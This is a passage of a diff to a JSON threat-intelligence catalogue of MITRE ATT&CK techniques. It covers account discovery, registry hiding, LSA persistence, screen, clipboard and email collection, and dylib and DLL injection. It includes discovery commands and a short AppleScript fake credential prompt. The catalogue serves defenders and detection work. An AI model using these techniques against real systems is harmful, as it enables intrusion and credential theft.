2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring", + "description": "Adversaries may attempt to get a listing of local system or domain accounts. \n\n### Windows\n\nExample commands that can acquire this information are net user, net group , and net localgroup using the [Net](https://attack.mitre.org/software/S0039) utility or through use of [dsquery](https://attack.mitre.org/software/S0105). If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) may apply.\n\n### Mac\n\nOn Mac, groups can be enumerated through the groups and id commands. In mac specifically, dscl . list /Groups and dscacheutil -q group can also be used to enumerate groups and users.\n\n### Linux\n\nOn Linux, local users can be enumerated through the use of the /etc/passwd file which is world readable. In mac, this same file is only used in single-user mode in addition to the /etc/master.passwd file.\n\nAlso, groups can be enumerated through the groups and id commands.", "meta": { + "external_id": "CAPEC-575", + "kill_chain": [ + "mitre-attack:discovery" + ], + "mitre_data_sources": [ + "API monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1087", + "https://capec.mitre.org/data/definitions/575.html" + ] + }, + "uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "value": "Account Discovery - T1087" + }, + { + "description": "Adversaries may steal the credentials of a specific user or service account using Credential Access techniques or capture credentials earlier in their reconnaissance process through social engineering for means of gaining Initial Access. \n\nCompromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nAdversaries may also create accounts, sometimes using pre-defined account names and passwords, as a means for persistence through backup access in case other means are unsuccessful. \n\nThe overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)", + "meta": { + "external_id": "CAPEC-560", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:persistence", + "mitre-attack:privilege-escalation", + "mitre-attack:initial-access" + ], + "mitre_data_sources": [ + "Authentication logs", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1078", + "https://capec.mitre.org/data/definitions/560.html", + "https://technet.microsoft.com/en-us/library/dn535501.aspx", + "https://technet.microsoft.com/en-us/library/dn487457.aspx" + ] + }, + "uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "value": "Valid Accounts - T1078" + }, + { + "description": "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.", + "meta": { + "external_id": "T1079", + "kill_chain": [ + "mitre-attack:command-and-control" + ], "mitre_data_sources": [ "Packet capture", - "Netflow/Enclave netflow", "Process use of network", "Malware reverse engineering", "Process monitoring" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", "Linux", - "Windows 10", - "MacOS", - "OS X" + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1026", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "uuid": "99709758-2b96-48f2-a68a-ad7fbd828091" + "https://attack.mitre.org/techniques/T1079", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840", + "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html", + "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf" + ] }, - "value": "Multiband Communication" + "uuid": "428ca9f8-0e33-442a-be87-f869cb4cf73e", + "value": "Multilayer Encryption - T1079" }, { - "description": "A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap.[[Citation: Trend Micro APT Attack Tools]]\n\nThe definition of a proxy can also be expanded out to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other.\n\nThe network may be within a single organization or across organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.\n\nDetection: Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process use of network, Process monitoring, Netflow/Enclave netflow, Packet capture\n\nContributors: Walker Johnson", + "description": "Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to subvert password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.", "meta": { + "external_id": "T1098", + "kill_chain": [ + "mitre-attack:credential-access", + "mitre-attack:persistence" + ], "mitre_data_sources": [ - "Process use of network", - "Process monitoring", - "Netflow/Enclave netflow", + "Authentication logs", + "API monitoring", + "Windows event logs", "Packet capture" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1090", - "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea" + "https://attack.mitre.org/techniques/T1098", + "https://docs.microsoft.com/windows/device-security/auditing/event-4738", + "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM", + "https://github.com/gentilkiwi/mimikatz/issues/92" + ] }, - "value": "Connection Proxy" + "uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", + "value": "Account Manipulation - T1098" }, { - "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.\n\n===Mac===\n\nOn OSX, the native command screencapture is used to capture screenshots.\n\n===Linux===\n\nOn Linux, there is the native command xwd.[[Citation: Antiquated Mac Malware]]\n\nDetection: Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: API monitoring, Process monitoring, File monitoring", + "description": "Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution.\n\nAccess to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples).\n\nRegistry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reg)hide NOV 2006 Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to establish Persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)\n\nThe Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) for RPC communication.", "meta": { + "external_id": "T1112", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Windows Registry", + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1112", + "https://technet.microsoft.com/en-us/library/cc732643.aspx", + "https://docs.microsoft.com/sysinternals/downloads/reghide", + "https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull", + "https://technet.microsoft.com/en-us/library/cc754820.aspx", + "https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353", + "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657", + "https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/" + ] + }, + "uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "value": "Modify Registry - T1112" + }, + { + "description": "Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=. The binary will then be executed by the system when the authentication packages are loaded.", + "meta": { + "external_id": "T1131", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "DLL monitoring", + "Windows Registry", + "Loaded DLLs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1131", + "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx", + "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", + "https://technet.microsoft.com/en-us/library/dn408187.aspx" + ] + }, + "uuid": "52d40641-c480-4ad5-81a3-c80ccaddf82d", + "value": "Authentication Package - T1131" + }, + { + "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.\n\n### Mac\n\nOn OSX, the native command screencapture is used to capture screenshots.\n\n### Linux\n\nOn Linux, there is the native command xwd. (Citation: Antiquated Mac Malware)", + "meta": { + "external_id": "T1113", + "kill_chain": [ + "mitre-attack:collection" + ], "mitre_data_sources": [ "API monitoring", "Process monitoring", "File monitoring" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", "Linux", - "MacOS", - "OS X" + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1113", + "https://attack.mitre.org/techniques/T1113", "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" - ], - "uuid": "0259baeb-9f63-4c69-bf10-eb038c390688" + ] }, - "value": "Screen Capture" + "uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "value": "Screen Capture - T1113" }, { - "description": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with.[[Citation: Wikipedia Code Signing]] However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries[[Citation: Janicab]]. The certificates used during an operation may be created, forged, or stolen by the adversary.[[Citation: Securelist Digital Certificates]][[Citation: Symantec Digital Certificates]]\n\nCode signing to verify software on first run can be used on modern Windows and MacOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform.[[Citation: Wikipedia Code Signing]]\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.\n\nDetection: Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X\n\nData Sources: Binary file metadata", + "description": "Dynamic DNS is a method of automatically updating a name in the DNS system. Providers offer this rapid reconfiguration of IPs to hostnames as a service. (Citation: DellMirage2012)", "meta": { - "mitre_data_sources": [ - "Binary file metadata" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "MacOS", - "OS X" + "external_id": "T1311", + "kill_chain": [ + "mitre-pre-attack:adversary-opsec" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1116", - "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates", - "https://securelist.com/blog/security-policies/68593/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/", - "http://www.thesafemac.com/new-signed-malware-called-janicab/", - "https://en.wikipedia.org/wiki/Code%20signing" - ], - "uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d" + "https://attack.mitre.org/techniques/T1311" + ] }, - "value": "Code Signing" + "related": [ + { + "dest-uuid": "54eb2bab-125f-4d1c-b999-0c692860bafe", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "20a66013-8dab-4ca3-a67d-766c842c561c", + "value": "Dynamic DNS - T1311" }, { - "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nDetection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, File monitoring, API monitoring", + "description": "Adversaries may target user email to collect sensitive information from a target.\n\nFiles containing email data can be acquired from a user's system, such as Outlook storage or cache files .pst and .ost.\n\nAdversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network.\n\nSome adversaries may acquire user credentials and access externally facing webmail applications, such as Outlook Web Access.", "meta": { + "external_id": "T1114", + "kill_chain": [ + "mitre-attack:collection" + ], "mitre_data_sources": [ - "Process monitoring", + "Authentication logs", "File monitoring", + "Process monitoring", + "Process use of network" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1114" + ] + }, + "uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "value": "Email Collection - T1114" + }, + { + "description": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task. Adversaries can mimic this functionality to prompt users for credentials with a normal-looking prompt. This type of prompt can be accomplished with AppleScript:\n\nset thePassword to the text returned of (display dialog \"AdobeUpdater needs permission to check for updates. Please authenticate.\" default answer \"\")\n (Citation: OSX Keydnap malware)\n\nAdversaries can prompt a user for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. (Citation: OSX Malware Exploits MacKeeper)", + "meta": { + "external_id": "T1141", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "User interface", + "Process monitoring" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1141", + "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", + "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html" + ] + }, + "uuid": "91ce1ede-107f-4d8b-bf4c-735e8789c94b", + "value": "Input Prompt - T1141" + }, + { + "description": "Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications. \n\n### Windows\n\nApplications can access clipboard data by using the Windows API. (Citation: MSDN Clipboard) \n\n### Mac\n\nOSX provides a native command, pbpaste, to grab clipboard contents (Citation: Operating with EmPyre).", + "meta": { + "external_id": "T1115", + "kill_chain": [ + "mitre-attack:collection" + ], + "mitre_data_sources": [ "API monitoring" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "Linux", + "Windows", + "macOS" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1125" - ], - "uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf" + "https://attack.mitre.org/techniques/T1115", + "https://msdn.microsoft.com/en-us/library/ms649012", + "http://www.rvrsh3ll.net/blog/empyre/operating-with-empyre/" + ] }, - "value": "Video Capture" + "uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f", + "value": "Clipboard Data - T1115" }, { - "description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol\n\nDetection: Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software. \n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. \n\nNetwork traffic may also be analyzed for entropy to determine if encrypted data is being transmitted.[[Citation: Zhang 2013]] If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers.[[Citation: Wikipedia File Header Signatures]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters, Binary file metadata", + "description": "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time (Citation: Malware Persistence on OS X).", "meta": { + "external_id": "T1161", + "kill_chain": [ + "mitre-attack:persistence" + ], "mitre_data_sources": [ - "File monitoring", + "Binary file metadata", "Process monitoring", "Process command-line parameters", - "Binary file metadata" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1022", - "http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf", - "https://en.wikipedia.org/wiki/List%20of%20file%20signatures" - ], - "uuid": "d54416bd-0803-41ca-870a-ce1af7c05638" - }, - "value": "Data Encrypted" - }, - { - "description": "Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or other binary-to-text and character encoding systems.[[Citation: Wikipedia Binary-to-text Encoding]][[Citation: Wikipedia Character Encoding]] Some data encoding systems may also result in data compression, such as gzip.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Process use of network, Process Monitoring, Network protocol analysis\n\nContributors: Itzik Kotler, SafeBreach", - "meta": { - "mitre_data_sources": [ - "Packet capture", - "Process use of network", - "Process Monitoring", - "Network protocol analysis" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1132", - "https://en.wikipedia.org/wiki/Character%20encoding", - "https://en.wikipedia.org/wiki/Binary-to-text%20encoding", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" - }, - "value": "Data Encoding" - }, - { - "description": "Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools.[[Citation: Trend Micro APT Attack Tools]]\n\nDetection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process command-line parameters, Binary file metadata\n\nContributors: Walker Johnson", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process command-line parameters", - "Binary file metadata" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1107", - "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/" - ], - "uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59" - }, - "value": "File Deletion" - }, - { - "description": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself[[Citation: Writing Bad Malware for OSX]][[Citation: Malware Persistence on OS X]].\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.\n\nDetection: Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring\n\nEffective Permissions: Administrator, root", - "meta": { - "mitre_data_sources": [ "File monitoring" ], "mitre_platforms": [ - "MacOS", - "OS X" + "macOS" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1157", + "https://attack.mitre.org/techniques/T1161", "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf", - "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf" - ], - "uuid": "0375badc-b2da-4438-b0c5-1e6c6b3285a3" + "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf" + ] }, - "value": "Dylib Hijacking" + "uuid": "04ef4356-8926-45e2-9441-634b6f3dcecb", + "value": "LC_LOAD_DYLIB Addition - T1161" }, { - "description": "DLL injection is used to run code in the context of another process by causing the other process to load and execute code. Running code in the context of another process provides adversaries many benefits, such as access to the process's memory and permissions. It also allows adversaries to mask their actions under a legitimate process. A more sophisticated kind of DLL injection, reflective DLL injection, loads code without calling the normal Windows API calls, potentially bypassing DLL load monitoring. Numerous methods of DLL injection exist on Windows, including modifying the Registry, creating remote threads, Windows hooking APIs, and DLL pre-loading.PowerShell with tools such as PowerSploit,[[Citation: Powersploit]] so additional PowerShell monitoring may be required to cover known implementations of this behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring, Windows Registry, File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM", + "description": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.", "meta": { + "external_id": "T1116", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], "mitre_data_sources": [ - "API monitoring", - "Windows Registry", - "File monitoring", - "Process monitoring" + "Binary file metadata" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1055", - "http://www.codeproject.com/Articles/4610/Three-Ways-to-Inject-Your-Code-into-Another-Proces", - "http://en.wikipedia.org/wiki/DLL%20injection", - "https://github.com/mattifestation/PowerSploit" - ], - "uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + "https://attack.mitre.org/techniques/T1116", + "https://en.wikipedia.org/wiki/Code_signing", + "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/", + "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates", + "http://www.thesafemac.com/new-signed-malware-called-janicab/" + ] }, - "value": "DLL Injection" + "uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "value": "Code Signing - T1116" }, { - "description": "Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons[[Citation: AppleDocs Launch Agent Daemons]]. These LaunchDaemons have property list files which point to the executables that will be launched[[Citation: Methods of Mac Malware Persistence]].\n 